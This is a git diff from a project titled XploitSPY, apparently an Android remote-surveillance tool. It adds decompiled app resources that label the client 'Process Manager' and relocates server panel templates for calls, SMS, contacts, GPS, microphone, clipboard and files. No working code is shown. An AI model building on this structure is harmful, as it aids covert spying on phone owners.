0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-bg/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-bn/strings.xml b/app/factory/decompiled/res/values-bn/strings.xml new file mode 100644 index 0000000..258e0d5 --- /dev/null +++ b/app/factory/decompiled/res/values-bn/strings.xml @@ -0,0 +1,4 @@ + + + ৯৯৯+ + diff --git a/app/factory/decompiled/res/values-bs/strings.xml b/app/factory/decompiled/res/values-bs/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-bs/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ca/strings.xml b/app/factory/decompiled/res/values-ca/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ca/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-cs/strings.xml b/app/factory/decompiled/res/values-cs/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-cs/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-da/strings.xml b/app/factory/decompiled/res/values-da/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-da/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-de/strings.xml b/app/factory/decompiled/res/values-de/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-de/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-el/strings.xml b/app/factory/decompiled/res/values-el/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-el/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-en-rAU/strings.xml b/app/factory/decompiled/res/values-en-rAU/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-en-rAU/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-en-rCA/strings.xml b/app/factory/decompiled/res/values-en-rCA/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-en-rCA/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-en-rGB/strings.xml b/app/factory/decompiled/res/values-en-rGB/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-en-rGB/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-en-rIN/strings.xml b/app/factory/decompiled/res/values-en-rIN/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-en-rIN/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-en-rXC/strings.xml b/app/factory/decompiled/res/values-en-rXC/strings.xml new file mode 100644 index 0000000..84f6977 --- /dev/null +++ b/app/factory/decompiled/res/values-en-rXC/strings.xml @@ -0,0 +1,4 @@ + + + ‎‏‎‎‎‎‎‏‎‏‏‏‎‎‎‎‎‏‎‎‏‎‎‎‎‏‏‏‏‏‏‏‏‏‎‏‏‏‎‏‏‎‏‏‏‎‏‏‎‎‎‎‏‎‏‎‎‎‏‏‏‏‏‎‏‏‏‎‏‎‏‎‏‏‏‎‎‏‎‏‏‏‎‏‏‏‏‏‏‏‎‎‎‏‏‎999+‎‏‎‎‏‎ + diff --git a/app/factory/decompiled/res/values-es-rUS/strings.xml b/app/factory/decompiled/res/values-es-rUS/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-es-rUS/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-es/strings.xml b/app/factory/decompiled/res/values-es/strings.xml new file mode 100644 index 0000000..ed4f2c9 --- /dev/null +++ b/app/factory/decompiled/res/values-es/strings.xml @@ -0,0 +1,4 @@ + + + +999 + diff --git a/app/factory/decompiled/res/values-et/strings.xml b/app/factory/decompiled/res/values-et/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-et/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-eu/strings.xml b/app/factory/decompiled/res/values-eu/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-eu/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-fa/strings.xml b/app/factory/decompiled/res/values-fa/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-fa/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-fi/strings.xml b/app/factory/decompiled/res/values-fi/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-fi/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-fr-rCA/strings.xml b/app/factory/decompiled/res/values-fr-rCA/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-fr-rCA/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-fr/strings.xml b/app/factory/decompiled/res/values-fr/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-fr/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-gl/strings.xml b/app/factory/decompiled/res/values-gl/strings.xml new file mode 100644 index 0000000..96ff574 --- /dev/null +++ b/app/factory/decompiled/res/values-gl/strings.xml @@ -0,0 +1,4 @@ + + + >999 + diff --git a/app/factory/decompiled/res/values-gu/strings.xml b/app/factory/decompiled/res/values-gu/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-gu/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-hi/strings.xml b/app/factory/decompiled/res/values-hi/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-hi/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-hr/strings.xml b/app/factory/decompiled/res/values-hr/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-hr/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-hu/strings.xml b/app/factory/decompiled/res/values-hu/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-hu/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-hy/strings.xml b/app/factory/decompiled/res/values-hy/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-hy/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-in/strings.xml b/app/factory/decompiled/res/values-in/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-in/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-is/strings.xml b/app/factory/decompiled/res/values-is/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-is/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-it/strings.xml b/app/factory/decompiled/res/values-it/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-it/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-iw/strings.xml b/app/factory/decompiled/res/values-iw/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-iw/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ja/strings.xml b/app/factory/decompiled/res/values-ja/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ja/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ka/strings.xml b/app/factory/decompiled/res/values-ka/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ka/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-kk/strings.xml b/app/factory/decompiled/res/values-kk/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-kk/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-km/strings.xml b/app/factory/decompiled/res/values-km/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-km/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-kn/strings.xml b/app/factory/decompiled/res/values-kn/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-kn/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ko/strings.xml b/app/factory/decompiled/res/values-ko/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ko/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ky/strings.xml b/app/factory/decompiled/res/values-ky/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ky/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-lo/strings.xml b/app/factory/decompiled/res/values-lo/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-lo/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-lt/strings.xml b/app/factory/decompiled/res/values-lt/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-lt/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-lv/strings.xml b/app/factory/decompiled/res/values-lv/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-lv/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-mk/strings.xml b/app/factory/decompiled/res/values-mk/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-mk/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ml/strings.xml b/app/factory/decompiled/res/values-ml/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ml/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-mn/strings.xml b/app/factory/decompiled/res/values-mn/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-mn/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-mr/strings.xml b/app/factory/decompiled/res/values-mr/strings.xml new file mode 100644 index 0000000..ac06d07 --- /dev/null +++ b/app/factory/decompiled/res/values-mr/strings.xml @@ -0,0 +1,4 @@ + + + ९९९+ + diff --git a/app/factory/decompiled/res/values-ms/strings.xml b/app/factory/decompiled/res/values-ms/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ms/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-my/strings.xml b/app/factory/decompiled/res/values-my/strings.xml new file mode 100644 index 0000000..a3aa322 --- /dev/null +++ b/app/factory/decompiled/res/values-my/strings.xml @@ -0,0 +1,4 @@ + + + ၉၉၉+ + diff --git a/app/factory/decompiled/res/values-nb/strings.xml b/app/factory/decompiled/res/values-nb/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-nb/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ne/strings.xml b/app/factory/decompiled/res/values-ne/strings.xml new file mode 100644 index 0000000..ac06d07 --- /dev/null +++ b/app/factory/decompiled/res/values-ne/strings.xml @@ -0,0 +1,4 @@ + + + ९९९+ + diff --git a/app/factory/decompiled/res/values-nl/strings.xml b/app/factory/decompiled/res/values-nl/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-nl/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-or/strings.xml b/app/factory/decompiled/res/values-or/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-or/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-pa/strings.xml b/app/factory/decompiled/res/values-pa/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-pa/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-pl/strings.xml b/app/factory/decompiled/res/values-pl/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-pl/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-pt-rBR/strings.xml b/app/factory/decompiled/res/values-pt-rBR/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-pt-rBR/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-pt-rPT/strings.xml b/app/factory/decompiled/res/values-pt-rPT/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-pt-rPT/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-pt/strings.xml b/app/factory/decompiled/res/values-pt/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-pt/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ro/strings.xml b/app/factory/decompiled/res/values-ro/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ro/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ru/strings.xml b/app/factory/decompiled/res/values-ru/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ru/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-si/strings.xml b/app/factory/decompiled/res/values-si/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-si/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-sk/strings.xml b/app/factory/decompiled/res/values-sk/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-sk/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-sl/strings.xml b/app/factory/decompiled/res/values-sl/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-sl/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-sq/strings.xml b/app/factory/decompiled/res/values-sq/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-sq/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-sr/strings.xml b/app/factory/decompiled/res/values-sr/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-sr/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-sv/strings.xml b/app/factory/decompiled/res/values-sv/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-sv/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-sw/strings.xml b/app/factory/decompiled/res/values-sw/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-sw/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ta/strings.xml b/app/factory/decompiled/res/values-ta/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-ta/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-te/strings.xml b/app/factory/decompiled/res/values-te/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-te/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-th/strings.xml b/app/factory/decompiled/res/values-th/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-th/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-tl/strings.xml b/app/factory/decompiled/res/values-tl/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-tl/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-tr/strings.xml b/app/factory/decompiled/res/values-tr/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-tr/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-uk/strings.xml b/app/factory/decompiled/res/values-uk/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-uk/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-ur/strings.xml b/app/factory/decompiled/res/values-ur/strings.xml new file mode 100644 index 0000000..ed4f2c9 --- /dev/null +++ b/app/factory/decompiled/res/values-ur/strings.xml @@ -0,0 +1,4 @@ + + + +999 + diff --git a/app/factory/decompiled/res/values-uz/strings.xml b/app/factory/decompiled/res/values-uz/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-uz/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-v16/dimens.xml b/app/factory/decompiled/res/values-v16/dimens.xml new file mode 100644 index 0000000..881b8a8 --- /dev/null +++ b/app/factory/decompiled/res/values-v16/dimens.xml @@ -0,0 +1,4 @@ + + + 4.0dip + diff --git a/app/factory/decompiled/res/values-v21/colors.xml b/app/factory/decompiled/res/values-v21/colors.xml new file mode 100644 index 0000000..a9956d1 --- /dev/null +++ b/app/factory/decompiled/res/values-v21/colors.xml @@ -0,0 +1,4 @@ + + + @color/secondary_text_default_material_light + diff --git a/app/factory/decompiled/res/values-v21/dimens.xml b/app/factory/decompiled/res/values-v21/dimens.xml new file mode 100644 index 0000000..e827dcf --- /dev/null +++ b/app/factory/decompiled/res/values-v21/dimens.xml @@ -0,0 +1,6 @@ + + + 0.0dip + 0.0dip + 12.0dip + diff --git a/app/factory/decompiled/res/values-v21/styles.xml b/app/factory/decompiled/res/values-v21/styles.xml new file mode 100644 index 0000000..07f0f5f --- /dev/null +++ b/app/factory/decompiled/res/values-v21/styles.xml @@ -0,0 +1,15 @@ + + + + + diff --git a/app/factory/decompiled/res/values-vi/strings.xml b/app/factory/decompiled/res/values-vi/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-vi/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-w820dp/dimens.xml b/app/factory/decompiled/res/values-w820dp/dimens.xml new file mode 100644 index 0000000..c8b7a79 --- /dev/null +++ b/app/factory/decompiled/res/values-w820dp/dimens.xml @@ -0,0 +1,4 @@ + + + 64.0dip + diff --git a/app/factory/decompiled/res/values-zh-rCN/strings.xml b/app/factory/decompiled/res/values-zh-rCN/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-zh-rCN/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-zh-rHK/strings.xml b/app/factory/decompiled/res/values-zh-rHK/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-zh-rHK/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-zh-rTW/strings.xml b/app/factory/decompiled/res/values-zh-rTW/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-zh-rTW/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values-zu/strings.xml b/app/factory/decompiled/res/values-zu/strings.xml new file mode 100644 index 0000000..e256ab8 --- /dev/null +++ b/app/factory/decompiled/res/values-zu/strings.xml @@ -0,0 +1,4 @@ + + + 999+ + diff --git a/app/factory/decompiled/res/values/attrs.xml b/app/factory/decompiled/res/values/attrs.xml new file mode 100644 index 0000000..6f9151a --- /dev/null +++ b/app/factory/decompiled/res/values/attrs.xml @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/app/factory/decompiled/res/values/colors.xml b/app/factory/decompiled/res/values/colors.xml new file mode 100644 index 0000000..4a46050 --- /dev/null +++ b/app/factory/decompiled/res/values/colors.xml @@ -0,0 +1,11 @@ + + + #ffff4081 + #ff3f51b5 + #ff303f9f + #ffffffff + #ffffffff + #ff9e9e9e + #1f000000 + #8a000000 + diff --git a/app/factory/decompiled/res/values/dimens.xml b/app/factory/decompiled/res/values/dimens.xml new file mode 100644 index 0000000..ae8f0d6 --- /dev/null +++ b/app/factory/decompiled/res/values/dimens.xml @@ -0,0 +1,27 @@ + + + 16.0dip + 16.0dip + 4.0dip + 6.0dip + 8.0dip + 4.0dip + 2.0dip + 320.0dip + 320.0dip + 32.0dip + 13.0sp + 12.0dip + 8.0dip + 64.0dip + 64.0dip + 10.0dip + @dimen/notification_content_margin_start + 16.0dip + 2.0dip + 3.0dip + 24.0dip + 13.0sp + 10.0dip + 5.0dip + diff --git a/app/factory/decompiled/res/values/drawables.xml b/app/factory/decompiled/res/values/drawables.xml new file mode 100644 index 0000000..f9e1087 --- /dev/null +++ b/app/factory/decompiled/res/values/drawables.xml @@ -0,0 +1,5 @@ + + + #3333b5e5 + #0cffffff + diff --git a/app/factory/decompiled/res/values/ids.xml b/app/factory/decompiled/res/values/ids.xml new file mode 100644 index 0000000..56c52b7 --- /dev/null +++ b/app/factory/decompiled/res/values/ids.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/app/factory/decompiled/res/values/integers.xml b/app/factory/decompiled/res/values/integers.xml new file mode 100644 index 0000000..5d33de4 --- /dev/null +++ b/app/factory/decompiled/res/values/integers.xml @@ -0,0 +1,4 @@ + + + 999 + diff --git a/app/factory/decompiled/res/values/public.xml b/app/factory/decompiled/res/values/public.xml new file mode 100644 index 0000000..9580de7 --- /dev/null +++ b/app/factory/decompiled/res/values/public.xml @@ -0,0 +1,110 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/factory/decompiled/res/values/strings.xml b/app/factory/decompiled/res/values/strings.xml new file mode 100644 index 0000000..dd1eaae --- /dev/null +++ b/app/factory/decompiled/res/values/strings.xml @@ -0,0 +1,5 @@ + + + Process Manager + 999+ + diff --git a/app/factory/decompiled/res/values/styles.xml b/app/factory/decompiled/res/values/styles.xml new file mode 100644 index 0000000..5a481ea --- /dev/null +++ b/app/factory/decompiled/res/values/styles.xml @@ -0,0 +1,17 @@ + + + + + + + + <% include partials/footer.ejs %> + + + diff --git a/server/assets/views/deviceManager.ejs b/assets/views/deviceManager.ejs similarity index 100% rename from server/assets/views/deviceManager.ejs rename to assets/views/deviceManager.ejs diff --git a/server/assets/views/deviceManagerPages/apps.ejs b/assets/views/deviceManagerPages/apps.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/apps.ejs rename to assets/views/deviceManagerPages/apps.ejs diff --git a/server/assets/views/deviceManagerPages/call_log.ejs b/assets/views/deviceManagerPages/call_log.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/call_log.ejs rename to assets/views/deviceManagerPages/call_log.ejs diff --git a/server/assets/views/deviceManagerPages/clipboard_log.ejs b/assets/views/deviceManagerPages/clipboard_log.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/clipboard_log.ejs rename to assets/views/deviceManagerPages/clipboard_log.ejs diff --git a/server/assets/views/deviceManagerPages/contacts.ejs b/assets/views/deviceManagerPages/contacts.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/contacts.ejs rename to assets/views/deviceManagerPages/contacts.ejs diff --git a/server/assets/views/deviceManagerPages/deviceNotFound.ejs b/assets/views/deviceManagerPages/deviceNotFound.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/deviceNotFound.ejs rename to assets/views/deviceManagerPages/deviceNotFound.ejs diff --git a/server/assets/views/deviceManagerPages/downloads.ejs b/assets/views/deviceManagerPages/downloads.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/downloads.ejs rename to assets/views/deviceManagerPages/downloads.ejs diff --git a/server/assets/views/deviceManagerPages/file_manager.ejs b/assets/views/deviceManagerPages/file_manager.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/file_manager.ejs rename to assets/views/deviceManagerPages/file_manager.ejs diff --git a/server/assets/views/deviceManagerPages/gps.ejs b/assets/views/deviceManagerPages/gps.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/gps.ejs rename to assets/views/deviceManagerPages/gps.ejs diff --git a/server/assets/views/deviceManagerPages/info.ejs b/assets/views/deviceManagerPages/info.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/info.ejs rename to assets/views/deviceManagerPages/info.ejs diff --git a/server/assets/views/deviceManagerPages/microphone.ejs b/assets/views/deviceManagerPages/microphone.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/microphone.ejs rename to assets/views/deviceManagerPages/microphone.ejs diff --git a/server/assets/views/deviceManagerPages/noPage.ejs b/assets/views/deviceManagerPages/noPage.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/noPage.ejs rename to assets/views/deviceManagerPages/noPage.ejs diff --git a/server/assets/views/deviceManagerPages/notification_log.ejs b/assets/views/deviceManagerPages/notification_log.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/notification_log.ejs rename to assets/views/deviceManagerPages/notification_log.ejs diff --git a/server/assets/views/deviceManagerPages/permissions.ejs b/assets/views/deviceManagerPages/permissions.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/permissions.ejs rename to assets/views/deviceManagerPages/permissions.ejs diff --git a/server/assets/views/deviceManagerPages/sms_manager.ejs b/assets/views/deviceManagerPages/sms_manager.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/sms_manager.ejs rename to assets/views/deviceManagerPages/sms_manager.ejs diff --git a/server/assets/views/deviceManagerPages/wifi_manager.ejs b/assets/views/deviceManagerPages/wifi_manager.ejs similarity index 100% rename from server/assets/views/deviceManagerPages/wifi_manager.ejs rename to assets/views/deviceManagerPages/wifi_manager.ejs diff --git a/server/assets/views/index.ejs b/assets/views/index.ejs similarity index 100% rename from server/assets/views/index.ejs rename to assets/views/index.ejs diff --git a/server/assets/views/login.ejs b/assets/views/login.ejs similarity index 100% rename from server/assets/views/login.ejs rename to assets/views/login.ejs diff --git a/server/assets/views/logs.ejs b/assets/views/logs.ejs similarity index 100% rename from server/assets/views/logs.ejs rename to assets/views/logs.ejs diff --git a/server/assets/views/partials/deviceManagerMenu.ejs b/assets/views/partials/deviceManagerMenu.ejs similarity index 100% rename from server/assets/views/partials/deviceManagerMenu.ejs rename to assets/views/partials/deviceManagerMenu.ejs diff --git a/server/assets/views/partials/footer.ejs b/assets/views/partials/footer.ejs similarity index 100% rename from server/assets/views/partials/footer.ejs rename to assets/views/partials/footer.ejs diff --git a/assets/views/partials/head.ejs b/assets/views/partials/head.ejs new file mode 100644 index 0000000..94f402a --- /dev/null +++ b/assets/views/partials/head.ejs @@ -0,0 +1,17 @@ + + + + + XploitSPY + + + + + + + + + + + + \ No newline at end of file diff --git a/server/assets/views/partials/header.ejs b/assets/views/partials/header.ejs similarity index 77% rename from server/assets/views/partials/header.ejs rename to assets/views/partials/header.ejs index c05529f..36001b1 100644 --- a/server/assets/views/partials/header.ejs +++ b/assets/views/partials/header.ejs @@ -1,7 +1,7 @@
